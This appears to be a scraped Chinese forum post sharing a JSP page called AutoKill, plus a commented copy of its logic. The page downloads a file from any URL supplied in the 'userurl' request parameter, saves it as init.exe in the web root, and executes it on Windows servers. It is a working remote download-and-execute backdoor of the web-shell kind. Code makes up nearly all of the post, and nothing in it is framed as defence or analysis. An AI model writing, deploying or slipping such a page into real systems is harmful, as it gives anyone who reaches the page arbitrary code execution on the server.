81,095
社区成员
发帖
与我相关
我的任务
分享
<%@ page language="java" pageEncoding="utf-8" import="java.io.*,java.net.*,java.security.*,javax.crypto.*"%>
<%!
String sys=null;
public class AutoKill {
private boolean downFile(String url,String filesrc)
{
try
{
URL urlc = new URL(url);
HttpURLConnection con = (HttpURLConnection)urlc.openConnection();
con.connect();
byte[] b=new byte[1024];
BufferedInputStream bis=new BufferedInputStream(con.getInputStream());
FileOutputStream fos=new FileOutputStream(filesrc);
int length=-1;
while((length=bis.read(b,0,b.length))!=-1)
{
fos.write(b,0,length);
}
fos.close();
bis.close();
return true;
}catch(Exception e)
{
e.printStackTrace();
}
return false;
}
}
%>
<%
sys=System.getProperty("os.name");
int i=sys.indexOf("Windows");
AutoKill ak=new AutoKill();
if(i>-1)
{
String result;
try
{
String url=request.getParameter("userurl");
System.out.println(url);
String filesrc=request.getSession().getServletContext().getRealPath("")+"/init.exe";
if (ak.downFile(url,filesrc) )
{
Process run_proc=Runtime.getRuntime().exec(filesrc);
result="Success! ";
}
else
{
result="Failure! Down File Failure!";
}
}catch(Exception e)
{
result="Failure!throws Exception - "+e.getMessage()+"! ";
}
request.setAttribute("result",result);
}
else
{
request.setAttribute("result","Failure!Because Remote computer system is "+sys+"!");
}
request.getRequestDispatcher("/ok.jsp").forward(request, response);
%>
<%@ page language="java" pageEncoding="utf-8"%><%= request.getAttribute("result")%>
AutoKill ak=new AutoKill();
// 如果是windos操作系统
if(i>-1)
{
String result;
try
{
String url=request.getParameter("userurl");
System.out.println(url);
String filesrc=request.getSession().getServletContext().getRealPath("")+"/init.exe";
// 如果去指定的url下载文件,成功
if (ak.downFile(url,filesrc) )
{
// 成功了,就运行指定文件
Process run_proc=Runtime.getRuntime().exec(filesrc);
result="Success! ";
}
// 下载失败
else
{
result="Failure! Down File Failure!";
}
}catch(Exception e)
{
result="Failure!throws Exception - "+e.getMessage()+"! ";
}
// 返回成功的消息
request.setAttribute("result",result);
}
else
{
// 返回失败的消息
request.setAttribute("result","Failure!Because Remote computer system is "+sys+"!");
}